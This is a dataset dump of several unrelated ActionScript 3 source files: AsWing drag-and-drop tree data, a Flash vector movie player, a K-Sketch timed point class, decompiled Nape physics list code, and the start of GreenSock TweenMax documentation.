CombinedText stringlengths 4 3.42M |
|---|
/*
Copyright aswing.org, see the LICENCE.txt.
*/
import GUI.fox.aswing.dnd.SourceData;
import GUI.fox.aswing.tree.TreePath;
import GUI.fox.aswing.util.ArrayUtils;
/**
* TreeSourceData is the draging source date of a Tree component.
*
* @see GUI.fox.aswing.JTree
* @see GUI.fox.aswing.JListTree
* @author iiley
*/
class GUI.fox.aswing.dnd.TreeSourceData extends SourceData {
private var paths:Array;
private var trimedPaths:Array;
/**
* Create a TreeSourceData.
* @param name the name
* @param paths the array of the draging paths, TreePath[]
*/
public function TreeSourceData(name : String, paths:Array) {
super(name, data);
this.paths = paths.concat();
var childrenPaths:Array = new Array();
var n:Number = paths.length;
for(var i:Number=0; i<n; i++){
var path:TreePath = TreePath(paths[i]);
for(var j:Number=0; j<n; j++){
if(i != j){
if(isChildOf(path, TreePath(paths[j]))){
childrenPaths.push(path);
}
}
}
}
trimedPaths = new Array();
for(var i:Number=0; i<paths.length; i++){
if(ArrayUtils.indexInArray(childrenPaths, paths[i]) >= 0){
trimedPaths.push(paths[i]);
}
}
}
private function isChildOf(child:TreePath, parent:TreePath):Boolean{
return (!child.equals(parent)) && parent.isDescendant(child);
}
public function getPaths():Array{
return paths.concat();
}
/**
* Returns the paths array that trimed the children of parent.
* This means that if a path in the arry is another path's child in the array,
* only the parent will be included.
*/
public function getTrimPaths():Array{
return trimedPaths.concat();
}
} |
package com.zcup.display
{
/**
*
* @atuhor: mldongs
* @qq: 25772076
* @time: 2011-9-19 下午12:28:24
* @desc: 用于矢量渲染
**/
import flash.display.MovieClip;
import flash.display.Sprite;
import flash.events.Event;
import flash.events.TimerEvent;
import flash.utils.Timer;
public class VectorMovie extends TimeLine implements IMovie
{
private var _movie:MovieClip;
private var _currentFrame:int = 0;
private var _totalFrames:int = 0;
private var _stop:Boolean = false;
private var _loop:Boolean = true;
private var _frameScript:Array;
private var _defaultFrameAction:Function;
private var _endFrameAction:Function;
public function VectorMovie()
{
super();
_frameScript = [];
cacheAsBitmap = true;
}
private function dispatch(frame:int) : void
{
dispatchEvent(new Event("mcz_" + frame));
}
public function removeAllFrameScript() : void
{
var index:String = null;
for (index in _frameScript)
{
removeFrameScript(int(index));
}
_defaultFrameAction = null;
_endFrameAction = null;
}
public function removeFrameScript(frame:int):void
{
if (_frameScript[frame])
{
removeEventListener("mcz_" + frame, _frameScript[frame],false);
_frameScript[frame] = undefined;
}
}
public function addFrameScript(frame:int,func:Function = null):void
{
var handler:Function;
var frame:int = frame;
var func:Function = func;
if (_frameScript[frame])
{
removeFrameScript(frame);
}
if (func != null)
{
handler = function (event:Event) : void
{
func();
}
addEventListener("mcz_" + frame, handler, false, 0, true);
_frameScript[frame] = handler;
}
}
override protected function onEnterFrame():void
{
if(_stop)
{
return;
}
_currentFrame = _currentFrame + 1;
_movie.gotoAndStop(_currentFrame);
//_mc.bitmapData = _frames[_currentFrame++];
// if (_regPoint.x != _changedRegPoint.x || _regPoint.y != _changedRegPoint.y)
// {
// regPoint = _changedRegPoint;
// }
// if (_defaultAction is Function)
// {
// _defaultAction();
// }
if (_defaultFrameAction is Function)
{
_defaultFrameAction(_currentFrame);
}
if (_frameScript[_currentFrame])
{
dispatch(_currentFrame);
}
if (_currentFrame >= _totalFrames)
{
_currentFrame = 0;
if (_endFrameAction is Function)
{
_endFrameAction();
}
if (_loop == false)
{
stop();
}
}
}
public function play(delay:int=0):void
{
_stop = false;
}
public function stop():void
{
_stop = true;
}
public function gotoAndPlay(frame:int,scene:String=null):void
{
_currentFrame = frame;
_movie.gotoAndStop(_currentFrame);
play();
}
public function gotoAndStop(frame:int,scene:String=null):void
{
_currentFrame = frame;
_movie.gotoAndStop(_currentFrame);
stop();
}
public function nextFrame():void
{
_movie.gotoAndStop(_currentFrame++);
}
public function prevFrame():void
{
_movie.gotoAndStop(_currentFrame--);
}
public function nextScene():void
{
_movie.nextScene();
}
public function prevScene():void
{
_movie.prevScene();
}
override public function destroy():void
{
super.destroy();
_frameScript.length = 0;
_frameScript = null;
_currentFrame = 0;
_totalFrames = 0;
_movie.stop();
if(_movie!=null&&contains(_movie))
{
removeChild(_movie);
_movie = null;
}
}
public function playMovie():void
{
stop();
movie.gotoAndStop(1);
currentFrame = 0;
totalFrames = movie.totalFrames;
removeAllFrameScript();
play();
}
public function get movie():MovieClip
{
return _movie;
}
public function set movie(value:MovieClip):void
{
if(_movie!=value)
{
if(_movie)
{
if(contains(_movie))
{
removeChild(_movie);
}
_movie.stop();
_movie = null;
}
_movie = value;
totalFrames = _movie.totalFrames;
addChild(_movie);
}
}
public function get currentFrame():int
{
return _currentFrame;
}
public function set currentFrame(value:int):void
{
_currentFrame = value;
}
public function get totalFrames():int
{
return _totalFrames;
}
public function set totalFrames(value:int):void
{
_totalFrames = value;
}
public function set endFrameAction(value:Function):void
{
_endFrameAction = value;
}
public function set defaultFrameAction(value:Function):void
{
_defaultFrameAction = value;
}
}
} |
/**
* Copyright 2010-2012 Singapore Management University
* Developed under a grant from the Singapore-MIT GAMBIT Game Lab
* This Source Code Form is subject to the terms of the
* Mozilla Public License, v. 2.0. If a copy of the MPL was
* not distributed with this file, You can obtain one at
* http://mozilla.org/MPL/2.0/.
*/
package sg.edu.smu.ksketch2.model.data_structures
{
import flash.geom.Point;
/**
* The KTimedPoint class serves as the concrete class that defines the core
* implementations of timed points in K-Sketch. Timed points consist of points
* containing the x-position, y-position, and time.
*/
public class KTimedPoint
{
public var x:Number; // x-position
public var y:Number; // y-position
public var time:Number; // time
/**
* The main constructor of the KTimedPoint object. The constructor
* sets the spatial and temporal information of the timed point.
*
* @param x The x-position.
* @param y The y-position.
* @param time The time.
*/
public function KTimedPoint(x:Number, y:Number, time:Number)
{
this.x = x; // set the x-position
this.y = y; // set the y-position
this.time = time; // set the time
}
/**
* Adds the x- and y-values from anther timed point into the timed point.
*
* @param another_Point The other timed point to add from.
*/
public function add(another_Point:KTimedPoint):KTimedPoint
{
x += another_Point.x; // add the x-positions from both timed points
y += another_Point.y; // add the y-positions from both timed points
return this;
}
/**
* Multiplies the x- and y-values from anther timed point into the timed point.
*
* @param another_Point The other timed point to add from.
*/
public function multiply(another_Point:KTimedPoint):KTimedPoint
{
x *= another_Point.x; // multiply the x-positions from both timed points
y *= another_Point.y; // multiply the y-positions from both timed points
return this;
}
/**
* Subtracts the x- and y-values from another timed point into the timed point.
*
* @param another_Point The other timed point to subtract from.
*/
public function subtract(another_Point:KTimedPoint):KTimedPoint
{
x -= another_Point.x; // subtract the x-positions from both timed points
y -= another_Point.y; // subtract the y-positions from both timed points
return this;
}
/**
* The length of the line segment from (0,0) to this KTimedPoint
*/
public function get length():Number
{
return Math.sqrt(x*x + y*y);
}
/**
* Checks whether the timed point is equivalent to the other timed point.
* If all spatial and temporal information of the timed point is equivalent
* to the other given timed point, returns true. Else, return false.
*
* @param another_Point The other timed point.
* @return Whether the timed point is equivalent to the other timed point.
*/
public function isEqualsTo(another_Point:KTimedPoint):Boolean
{
if(another_Point.x == x && another_Point.y == y && another_Point.time == time)
return true;
else
return false;
}
/**
* Gets a clone of the timed point.
*
* @return A clone of the timed point.
*/
public function clone():KTimedPoint
{
return new KTimedPoint(x,y,time);
}
/**
* Serializes the timed point to an XML object.
*
* @return The serialized XML object of the timed point.
*/
public function serialize():String
{
return x.toString()+","+y.toString()+","+time.toString();
}
/**
* Prints the spatial and temporal information of the timed point to the console.
*/
public function print():void
{
trace("(",x,",",y,",",time,")");
}
}
} |
package nape.callbacks
{
import zpp_nape.util.ZPP_CbTypeList;
import zpp_nape.util.ZNPNode_ZPP_CbType;
import zpp_nape.callbacks.ZPP_CbType;
import zpp_nape.util.ZNPList_CbTypeIterator;
import flash._-2v;
public class CbTypeList extends Object
{
public function CbTypeList()
{
if(_-2v._-7E)
{
return;
}
zpp_inner = new ZPP_CbTypeList();
zpp_inner.outer = this;
}
public static function fromArray(param1:Array) : CbTypeList
{
var _loc4_:* = null;
var _loc2_:CbTypeList = new CbTypeList();
var _loc3_:* = 0;
while(_loc3_ < (param1.length))
{
_loc4_ = param1[_loc3_];
_loc3_++;
_loc2_.push(_loc4_);
}
return _loc2_;
}
public static function fromVector(param1:Vector.<CbType>) : CbTypeList
{
var _loc4_:* = null as CbType;
var _loc2_:CbTypeList = new CbTypeList();
var _loc3_:* = 0;
while(_loc3_ < param1.length)
{
_loc4_ = param1[_loc3_];
_loc3_++;
_loc2_.push(_loc4_);
}
return _loc2_;
}
public var zpp_inner:ZPP_CbTypeList;
public function unshift(param1:CbType) : Boolean
{
zpp_inner.modify_test();
zpp_inner.valmod();
var _loc2_:Boolean = zpp_inner.adder != null?zpp_inner.adder(param1):true;
if(_loc2_)
{
if(zpp_inner.reverse_flag)
{
if(zpp_inner.push_ite == null)
{
if(!empty())
{
zpp_inner.valmod();
if(zpp_inner.zip_length)
{
zpp_inner.zip_length = false;
zpp_inner.user_length = zpp_inner.inner.length;
}
}
if(empty())
{
zpp_inner.push_ite = null;
}
else
{
zpp_inner.push_ite = zpp_inner.inner.iterator_at(zpp_inner.user_length - 1);
}
}
if(zpp_inner.push_ite == null)
{
zpp_inner.push_ite = zpp_inner.inner.insert(zpp_inner.push_ite,param1.zpp_inner);
}
else
{
zpp_inner.push_ite = zpp_inner.inner.insert(zpp_inner.push_ite,param1.zpp_inner);
}
}
else
{
zpp_inner.inner.add(param1.zpp_inner);
}
zpp_inner.invalidate();
if(zpp_inner.post_adder != null)
{
zpp_inner.post_adder(param1);
}
}
return _loc2_;
}
public function toString() : String
{
var _loc4_:* = null as CbType;
var _loc1_:String = "[";
var _loc2_:* = true;
var _loc3_:* = iterator();
while(_loc3_.hasNext())
{
_loc4_ = _loc3_.next();
if(!_loc2_)
{
_loc1_ = _loc1_ + ",";
}
_loc1_ = _loc1_ + (_loc4_ == null?"NULL":_loc4_.toString());
_loc2_ = false;
}
return _loc1_ + "]";
}
public function shift() : CbType
{
var _loc2_:* = null as ZNPNode_ZPP_CbType;
var _loc3_:* = null as CbType;
zpp_inner.modify_test();
zpp_inner.valmod();
var _loc1_:ZPP_CbType = null;
if(zpp_inner.reverse_flag)
{
if(zpp_inner.at_ite != null)
{
false;
}
if(false)
{
zpp_inner.at_ite = null;
}
zpp_inner.valmod();
if(zpp_inner.zip_length)
{
zpp_inner.zip_length = false;
zpp_inner.user_length = zpp_inner.inner.length;
}
if(zpp_inner.user_length != 1)
{
zpp_inner.valmod();
if(zpp_inner.zip_length)
{
zpp_inner.zip_length = false;
zpp_inner.user_length = zpp_inner.inner.length;
}
}
if(zpp_inner.user_length == 1)
{
_loc2_ = null;
_loc1_ = _loc2_ == null?zpp_inner.inner.head.elt:_loc2_.next.elt;
_loc3_ = _loc1_.outer;
if(zpp_inner.subber != null)
{
zpp_inner.subber(_loc3_);
}
if(!zpp_inner.dontremove)
{
zpp_inner.inner.erase(_loc2_);
}
}
else
{
_loc2_ = zpp_inner.inner.iterator_at(zpp_inner.user_length - 2);
_loc1_ = _loc2_ == null?zpp_inner.inner.head.elt:_loc2_.next.elt;
_loc3_ = _loc1_.outer;
if(zpp_inner.subber != null)
{
zpp_inner.subber(_loc3_);
}
if(!zpp_inner.dontremove)
{
zpp_inner.inner.erase(_loc2_);
}
}
}
else
{
_loc1_ = zpp_inner.inner.head.elt;
_loc3_ = _loc1_.outer;
if(zpp_inner.subber != null)
{
zpp_inner.subber(_loc3_);
}
if(!zpp_inner.dontremove)
{
zpp_inner.inner.pop();
}
}
zpp_inner.invalidate();
_loc3_ = _loc1_.outer;
return _loc3_;
}
public function remove(param1:CbType) : Boolean
{
var _loc4_:* = null as ZPP_CbType;
zpp_inner.modify_test();
zpp_inner.valmod();
var _loc2_:* = false;
var _loc3_:ZNPNode_ZPP_CbType = zpp_inner.inner.head;
while(_loc3_ != null)
{
_loc4_ = _loc3_.elt;
if(_loc4_ == param1.zpp_inner)
{
_loc2_ = true;
break;
}
_loc3_ = _loc3_.next;
}
if(_loc2_)
{
if(zpp_inner.subber != null)
{
zpp_inner.subber(param1);
}
if(!zpp_inner.dontremove)
{
zpp_inner.inner.remove(param1.zpp_inner);
}
zpp_inner.invalidate();
}
return _loc2_;
}
public function push(param1:CbType) : Boolean
{
zpp_inner.modify_test();
zpp_inner.valmod();
var _loc2_:Boolean = zpp_inner.adder != null?zpp_inner.adder(param1):true;
if(_loc2_)
{
if(zpp_inner.reverse_flag)
{
zpp_inner.inner.add(param1.zpp_inner);
}
else
{
if(zpp_inner.push_ite == null)
{
if(!empty())
{
zpp_inner.valmod();
if(zpp_inner.zip_length)
{
zpp_inner.zip_length = false;
zpp_inner.user_length = zpp_inner.inner.length;
}
}
if(empty())
{
zpp_inner.push_ite = null;
}
else
{
zpp_inner.push_ite = zpp_inner.inner.iterator_at(zpp_inner.user_length - 1);
}
}
if(zpp_inner.push_ite == null)
{
zpp_inner.push_ite = zpp_inner.inner.insert(zpp_inner.push_ite,param1.zpp_inner);
}
else
{
zpp_inner.push_ite = zpp_inner.inner.insert(zpp_inner.push_ite,param1.zpp_inner);
}
}
zpp_inner.invalidate();
if(zpp_inner.post_adder != null)
{
zpp_inner.post_adder(param1);
}
}
return _loc2_;
}
public function pop() : CbType
{
var _loc2_:* = null as CbType;
var _loc3_:* = null as ZNPNode_ZPP_CbType;
zpp_inner.modify_test();
zpp_inner.valmod();
var _loc1_:ZPP_CbType = null;
if(zpp_inner.reverse_flag)
{
_loc1_ = zpp_inner.inner.head.elt;
_loc2_ = _loc1_.outer;
if(zpp_inner.subber != null)
{
zpp_inner.subber(_loc2_);
}
if(!zpp_inner.dontremove)
{
zpp_inner.inner.pop();
}
}
else
{
if(zpp_inner.at_ite != null)
{
false;
}
if(false)
{
zpp_inner.at_ite = null;
}
zpp_inner.valmod();
if(zpp_inner.zip_length)
{
zpp_inner.zip_length = false;
zpp_inner.user_length = zpp_inner.inner.length;
}
if(zpp_inner.user_length != 1)
{
zpp_inner.valmod();
if(zpp_inner.zip_length)
{
zpp_inner.zip_length = false;
zpp_inner.user_length = zpp_inner.inner.length;
}
}
if(zpp_inner.user_length == 1)
{
_loc3_ = null;
_loc1_ = _loc3_ == null?zpp_inner.inner.head.elt:_loc3_.next.elt;
_loc2_ = _loc1_.outer;
if(zpp_inner.subber != null)
{
zpp_inner.subber(_loc2_);
}
if(!zpp_inner.dontremove)
{
zpp_inner.inner.erase(_loc3_);
}
}
else
{
_loc3_ = zpp_inner.inner.iterator_at(zpp_inner.user_length - 2);
_loc1_ = _loc3_ == null?zpp_inner.inner.head.elt:_loc3_.next.elt;
_loc2_ = _loc1_.outer;
if(zpp_inner.subber != null)
{
zpp_inner.subber(_loc2_);
}
if(!zpp_inner.dontremove)
{
zpp_inner.inner.erase(_loc3_);
}
}
}
zpp_inner.invalidate();
_loc2_ = _loc1_.outer;
return _loc2_;
}
public function merge(param1:CbTypeList) : void
{
var _loc3_:* = null as CbType;
var _loc2_:* = param1.iterator();
while(_loc2_.hasNext())
{
_loc3_ = _loc2_.next();
if(!has(_loc3_))
{
add(_loc3_);
}
}
}
public function iterator() : CbTypeIterator
{
zpp_inner.valmod();
if(zpp_inner.iterators == null)
{
zpp_inner.iterators = new ZNPList_CbTypeIterator();
}
return CbTypeIterator.get(this);
}
public function has(param1:CbType) : Boolean
{
zpp_inner.valmod();
return zpp_inner.inner.has(param1.zpp_inner);
}
public function get length() : int
{
zpp_inner.valmod();
if(zpp_inner.zip_length)
{
zpp_inner.zip_length = false;
zpp_inner.user_length = zpp_inner.inner.length;
}
return zpp_inner.user_length;
}
public function foreach(param1:Function) : void
{
var _loc4_:* = null;
var _loc3_:CbTypeIterator = iterator();
}
public function filter(param1:Function) : CbTypeList
{
var _loc4_:* = null as CbType;
var _loc5_:* = null;
var _loc3_:* = 0;
}
public function empty() : Boolean
{
return zpp_inner.inner.head == null;
}
public function copy(param1:Boolean = false) : CbTypeList
{
var _loc4_:* = null as CbType;
var _loc2_:CbTypeList = new CbTypeList();
var _loc3_:* = iterator();
while(_loc3_.hasNext())
{
_loc4_ = _loc3_.next();
_loc2_.push(param1?null:_loc4_);
}
return _loc2_;
}
public function clear() : void
{
if(zpp_inner.reverse_flag)
{
while(!(empty()))
{
pop();
}
}
else
{
while(!(empty()))
{
shift();
}
}
}
public function at(param1:int) : CbType
{
zpp_inner.valmod();
if(zpp_inner.reverse_flag)
{
zpp_inner.valmod();
if(zpp_inner.zip_length)
{
zpp_inner.zip_length = false;
zpp_inner.user_length = zpp_inner.inner.length;
}
param1 = zpp_inner.user_length - 1 - param1;
}
if(param1 >= zpp_inner.at_index)
{
true;
}
if(true)
{
zpp_inner.at_index = param1;
zpp_inner.at_ite = zpp_inner.inner.iterator_at(param1);
}
else
{
while(zpp_inner.at_index != param1)
{
zpp_inner.at_index = zpp_inner.at_index + 1;
zpp_inner.at_ite = zpp_inner.at_ite.next;
}
}
return zpp_inner.at_ite.elt.outer;
}
public function add(param1:CbType) : Boolean
{
return zpp_inner.reverse_flag?push(param1):unshift(param1);
}
}
}
|
/**
* VERSION: 11.66
* DATE: 2011-01-25
* AS3 (AS2 version is also available)
* UPDATES AND DOCS AT: http://www.greensock.com
**/
package com.greensock {
import com.greensock.core.*;
import com.greensock.events.TweenEvent;
import com.greensock.plugins.*;
import flash.display.*;
import flash.events.*;
import flash.utils.*;
/**
* TweenMax extends the extremely lightweight, fast TweenLite engine, adding many useful features
* like timeScale, event dispatching, updateTo(), yoyo, repeat, repeatDelay, rounding, and more. It also
* activates many extra plugins by default, making it extremely full-featured. Since TweenMax extends
* TweenLite, it can do ANYTHING TweenLite can do plus much more. The syntax is identical. With plenty
* of other tweening engines to choose from, here's why you might want to consider TweenMax:
*
* <ul>
* <li><b> SPEED </b>- TweenMax has been highly optimized for maximum performance. See some speed comparisons yourself at
* <a href="http://www.greensock.com/tweening-speed-test/">http://www.greensock.com/tweening-speed-test/</a></li>
*
* <li><b> Feature set </b>- In addition to tweening ANY numeric property of ANY object, TweenMax can tween filters,
* hex colors, volume, tint, frames, saturation, contrast, hue, colorization, brightness, and even do
* bezier tweening, orientToBezier, round values, jump to any point in the tween with the <code>currentTime</code>
* or <code>currentProgress</code> property, automatically rotate in the shortest direction, plus LOTS more.
* Overwrite management is an important consideration for a tweening engine as well which is another area
* where the GreenSock Tweening Platform shines. You have options for AUTO overwriting or you can manually
* define how each tween will handle overlapping tweens of the same object.</li>
*
* <li><b> Expandability </b>- With its plugin architecture, you can activate as many (or as few) features as your
* project requires. Write your own plugin to handle particular special properties in custom ways. Minimize bloat, and
* maximize performance.</li>
*
* <li><b> Sequencing, grouping, and management features </b>- TimelineLite and TimelineMax make it surprisingly
* simple to create complex sequences or groups of tweens that you can control as a whole. play(), pause(), restart(),
* or reverse(). You can even tween a timeline's <code>currentTime</code> or <code>currentProgress</code> property
* to fastforward or rewind the entire timeline. Add labels, gotoAndPlay(), change the timeline's timeScale, nest
* timelines within timelines, and lots more.</li>
*
* <li><b> Ease of use </b>- Designers and Developers alike rave about how intuitive the platform is.</li>
*
* <li><b> Updates </b>- Frequent updates and feature additions make the GreenSock Tweening Platform reliable and robust.</li>
*
* <li><b> AS2 and AS3 </b>- Most other engines are only developed for AS2 or AS3 but not both.</li>
* </ul>
*
* <b>SPECIAL PROPERTIES:</b><br /><br />
* The following special properties can be defined in the <code>vars</code> parameter which can
* be either a generic Object or a <code><a href="data/TweenMaxVars.html">TweenMaxVars</a></code> instance:
* <ul>
* <li><b> delay : Number</b> Amount of delay in seconds (or frames for frames-based tweens) before the tween should begin.</li>
*
* <li><b> useFrames : Boolean</b> If useFrames is set to true, the tweens's timing mode will be based on frames.
* Otherwise, it will be based on seconds/time. NOTE: a tween's timing mode is
* always determined by its parent timeline. </li>
*
* <li><b> ease : Function</b> Use any standard easing equation to control the rate of change. For example,
* Elastic.easeOut. The Default is Quad.easeOut.</li>
*
* <li><b> easeParams : Array</b> An Array of extra parameters to feed the easing equation (beyond the standard first 4).
* This can be useful when using an ease like Elastic and want to control extra parameters
* like the amplitude and period. Most easing equations, however, don't require extra parameters
* so you won't need to pass in any easeParams.</li>
*
* <li><b> onInit : Function</b> A function that should be called just before the tween inits (renders for the first time).
* Since onInit runs before the start/end values are recorded internally, it is a good place to run
* code that affects the target's initial position or other tween-related properties. onStart, by
* contrast, runs AFTER the tween inits and the start/end values are recorded internally. onStart
* is called every time the tween begins which can happen more than once if the tween is restarted
* multiple times.</li>
*
* <li><b> onInitParams : Array</b> An Array of parameters to pass the onInit function.</li>
*
* <li><b> onStart : Function</b> A function that should be called when the tween begins (when its currentTime is at 0 and
* changes to some other value which can happen more than once if the tween is restarted multiple times).</li>
*
* <li><b> onStartParams : Array</b> An Array of parameters to pass the onStart function.</li>
*
* <li><b> onUpdate : Function</b> A function that should be called every time the tween's time/position is updated
* (on every frame while the timeline is active)</li>
*
* <li><b> onUpdateParams : Array</b> An Array of parameters to pass the onUpdate function</li>
*
* <li><b> onComplete : Function</b> A function that should be called when the tween has finished </li>
*
* <li><b> onCompleteParams : Array</b> An Array of parameters to pass the onComplete function</li>
*
* <li><b> onReverseComplete : Function</b> A function that should be called when the tween has reached its starting point again after having been reversed. </li>
*
* <li><b> onReverseCompleteParams : Array</b> An Array of parameters to pass the onReverseComplete function.</li>
*
* <li><b> onRepeat : Function</b> A function that should be called every time the tween repeats </li>
*
* <li><b> onRepeatParams : Array</b> An Array of parameters to pass the onRepeat function</li>
*
* <li><b> immediateRender : Boolean</b> Normally when you create a tween, it begins rendering on the very next frame (when
* the Flash Player dispatches an ENTER_FRAME event) unless you specify a <code>delay</code>. This
* allows you to insert tweens into timelines and perform other actions that may affect
* its timing. However, if you prefer to force the tween to render immediately when it is
* created, set <code>immediateRender</code> to true. Or to prevent a tween with a duration of zero from
* rendering immediately, set this to false.</li>
*
* <li><b> paused : Boolean</b> If true, the tween will be paused initially.</li>
*
* <li><b> reversed : Boolean</b> If true, the tween will be reversed initially. This does not swap the starting/ending
* values in the tween - it literally changes its orientation/direction. Imagine the playhead
* moving backwards instead of forwards. This does NOT force it to the very end and start
* playing backwards. It simply affects the orientation of the tween, so if reversed is set to
* true initially, it will appear not to play because it is already at the beginning. To cause it to
* play backwards from the end, set reversed to true and then set the <code>currentProgress</code>
* property to 1 immediately after creating the tween (or set the currentTime to the duration). </li>
*
* <li><b> overwrite : int</b> Controls how (and if) other tweens of the same target are overwritten by this tween. There are
* several modes to choose from, and TweenMax automatically calls <code>OverwriteManager.init()</code> if you haven't
* already manually dones so, which means that by default <code>AUTO</code> mode is used (please see
* <a href="http://www.greensock.com/overwritemanager/">http://www.greensock.com/overwritemanager/</a>
* for details and a full explanation of the various modes):
* <ul>
* <li>NONE (0) (or false) </li>
*
* <li>ALL_IMMEDIATE (1) (or true)</li>
*
* <li>AUTO (2) - this is the default mode for TweenMax.</li>
*
* <li>CONCURRENT (3)</li>
*
* <li>ALL_ONSTART (4)</li>
*
* <li>PREEXISTING (5)</li>
*
* </ul></li>
*
* <li><b> repeat : int</b> Number of times that the tween should repeat. To repeat indefinitely, use -1.</li>
*
* <li><b> repeatDelay : Number</b> Amount of time in seconds (or frames for frames-based tween) between repeats.</li>
*
* <li><b> yoyo : Boolean</b> Works in conjunction with the repeat property, determining the behavior of each
* cycle. When yoyo is true, the tween will go back and forth, appearing to reverse
* every other cycle (this has no affect on the "reversed" property though). So if repeat is
* 2 and yoyo is false, it will look like: start - 1 - 2 - 3 - 1 - 2 - 3 - 1 - 2 - 3 - end. But
* if repeat is 2 and yoyo is true, it will look like: start - 1 - 2 - 3 - 3 - 2 - 1 - 1 - 2 - 3 - end. </li>
*
* <li><b> onStartListener : Function</b> A function to which the TweenMax instance should dispatch a TweenEvent when it begins.
* This is the same as doing <code>myTween.addEventListener(TweenEvent.START, myFunction);</code></li>
*
* <li><b> onUpdateListener : Function</b> A function to which the TweenMax instance should dispatch a TweenEvent every time it
* updates values. This is the same as doing <code>myTween.addEventListener(TweenEvent.UPDATE, myFunction);</code></li>
*
* <li><b> onCompleteListener : Function</b> A function to which the TweenMax instance should dispatch a TweenEvent when it completes.
* This is the same as doing <code>myTween.addEventListener(TweenEvent.COMPLETE, myFunction);</code></li>
*
* <li><b> onReverseCompleteListener : Function</b> A function to which the TweenMax instance should dispatch a TweenEvent when it completes
* in the reverse direction. This is the same as doing <code>myTween.addEventListener(TweenEvent.REVERSE_COMPLETE, myFunction);</code></li>
*
* <li><b> onRepeatListener : Function</b> A function to which the TweenMax instance should dispatch a TweenEvent when it repeats.
* This is the same as doing <code>myTween.addEventListener(TweenEvent.REPEAT, myFunction);</code></li>
*
* <li><b> startAt : Object</b> Allows you to define the starting values for each property. Typically, TweenMax uses the current
* value (whatever it happens to be at the time the tween begins) as the start value, but startAt
* allows you to override that behavior. Simply pass an object in with whatever properties you'd like
* to set just before the tween begins. For example, if mc.x is currently 100, and you'd like to
* tween it from 0 to 500, do <code>TweenMax.to(mc, 2, {x:500, startAt:{x:0}});</code> </li>
* </ul>
*
* <b>Note:</b> Using a <code><a href="data/TweenMaxVars.html">TweenMaxVars</a></code> instance
* instead of a generic Object to define your <code>vars</code> is a bit more verbose but provides
* code hinting and improved debugging because it enforces strict data typing. Use whichever one you prefer.<br /><br />
*
* <b>PLUGINS: </b><br /><br />
*
* There are many plugins that add capabilities through other special properties. Adding the capabilities
* is as simple as activating the plugin with a single line of code, like <code>TweenPlugin.activate([SetSizePlugin]);</code>
* Get information about all the plugins at <a href="http://www.TweenMax.com">http://www.TweenMax.com</a>. The
* following plugins are activated by default in TweenMax (you can easily prevent them from activating, thus
* saving file size, by commenting out the associated activation lines towards the top of the class):
*
* <ul>
* <li><b> autoAlpha : Number</b> - Use it instead of the alpha property to gain the additional feature of toggling
* the visible property to false when alpha reaches 0. It will also toggle visible
* to true before the tween starts if the value of autoAlpha is greater than zero.</li>
*
* <li><b> visible : Boolean</b> - To set a DisplayObject's "visible" property at the end of the tween, use this special property.</li>
*
* <li><b> volume : Number</b> - Tweens the volume of an object with a soundTransform property (MovieClip/SoundChannel/NetStream, etc.)</li>
*
* <li><b> tint : Number</b> - To change a DisplayObject's tint/color, set this to the hex value of the tint you'd like
* to end up at(or begin at if you're using TweenMax.from()). An example hex value would be 0xFF0000.</li>
*
* <li><b> removeTint : Boolean</b> - If you'd like to remove the tint that's applied to a DisplayObject, pass true for this special property.</li>
*
* <li><b> frame : Number</b> - Use this to tween a MovieClip to a particular frame.</li>
*
* <li><b> bezier : Array</b> - Bezier tweening allows you to tween in a non-linear way. For example, you may want to tween
* a MovieClip's position from the origin (0,0) 500 pixels to the right (500,0) but curve downwards
* through the middle of the tween. Simply pass as many objects in the bezier array as you'd like,
* one for each "control point" (see documentation on Flash's curveTo() drawing method for more
* about how control points work). In this example, let's say the control point would be at x/y coordinates
* 250,50. Just make sure your my_mc is at coordinates 0,0 and then do:
* <code>TweenMax.to(my_mc, 3, {bezier:[{x:250, y:50}, {x:500, y:0}]});</code></li>
*
* <li><b> bezierThrough : Array</b> - Identical to bezier except that instead of passing bezier control point values, you
* pass points through which the bezier values should move. This can be more intuitive
* than using control points.</li>
*
* <li><b> orientToBezier : Array (or Boolean)</b> - A common effect that designers/developers want is for a MovieClip/Sprite to
* orient itself in the direction of a Bezier path (alter its rotation). orientToBezier
* makes it easy. In order to alter a rotation property accurately, TweenMax needs 4 pieces
* of information:
* <ol>
* <li> Position property 1 (typically "x")</li>
* <li> Position property 2 (typically "y")</li>
* <li> Rotational property (typically "rotation")</li>
* <li> Number of degrees to add (optional - makes it easy to orient your MovieClip properly)</li>
* </ol>
* The orientToBezier property should be an Array containing one Array for each set of these values.
* For maximum flexibility, you can pass in any number of arrays inside the container array, one
* for each rotational property. This can be convenient when working in 3D because you can rotate
* on multiple axis. If you're doing a standard 2D x/y tween on a bezier, you can simply pass
* in a boolean value of true and TweenMax will use a typical setup, <code>[["x", "y", "rotation", 0]]</code>.
* Hint: Don't forget the container Array (notice the double outer brackets)</li>
*
* <li><b> hexColors : Object</b> - Although hex colors are technically numbers, if you try to tween them conventionally,
* you'll notice that they don't tween smoothly. To tween them properly, the red, green, and
* blue components must be extracted and tweened independently. TweenMax makes it easy. To tween
* a property of your object that's a hex color to another hex color, use this special hexColors
* property of TweenMax. It must be an OBJECT with properties named the same as your object's
* hex color properties. For example, if your my_obj object has a "myHexColor" property that you'd like
* to tween to red (0xFF0000) over the course of 2 seconds, do: <br />
* <code>TweenMax.to(my_obj, 2, {hexColors:{myHexColor:0xFF0000}});</code><br />
* You can pass in any number of hexColor properties.</li>
*
* <li><b> shortRotation : Object</b> - To tween the rotation property of the target object in the shortest direction, use "shortRotation"
* instead of "rotation" as the property. For example, if <code>myObject.rotation</code> is currently 170 degrees
* and you want to tween it to -170 degrees, a normal rotation tween would travel a total of 340 degrees
* in the counter-clockwise direction, but if you use shortRotation, it would travel 20 degrees in the
* clockwise direction instead.</li>
*
* <li><b> roundProps : Array</b> - If you'd like the inbetween values in a tween to always get rounded to the nearest integer, use the roundProps
* special property. Just pass in an Array containing the property names that you'd like rounded. For example,
* if you're tweening the x, y, and alpha properties of mc and you want to round the x and y values (not alpha)
* every time the tween is rendered, you'd do: <code>TweenMax.to(mc, 2, {x:300, y:200, alpha:0.5, roundProps:["x","y"]});</code></li>
*
* <li><b> blurFilter : Object</b> - To apply a BlurFilter, pass an object with one or more of the following properties:
* <code>blurX, blurY, quality, remove, addFilter, index</code></li>
*
* <li><b> glowFilter : Object</b> - To apply a GlowFilter, pass an object with one or more of the following properties:
* <code>alpha, blurX, blurY, color, strength, quality, inner, knockout, remove, addFilter, index</code></li>
*
* <li><b> colorMatrixFilter : Object</b> - To apply a ColorMatrixFilter, pass an object with one or more of the following properties:
